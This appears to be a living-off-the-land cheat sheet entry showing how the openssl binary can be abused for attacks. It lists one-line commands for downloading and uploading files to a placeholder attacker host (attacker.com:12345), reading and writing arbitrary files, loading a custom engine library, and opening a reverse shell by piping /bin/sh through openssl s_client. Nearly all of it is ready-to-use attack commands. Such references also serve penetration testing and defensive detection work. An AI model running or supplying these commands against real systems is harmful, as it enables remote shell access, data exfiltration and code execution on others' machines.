openssl

Download

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file

File Read

openssl enc -in /path/to/input-file

File Write

echo DATA | openssl enc -out /path/to/output-file
openssl enc -in /path/to/input-file -out /path/to/output-file

Library Load

openssl req -engine ./lib.so

Reverse Shell

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket

Upload

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file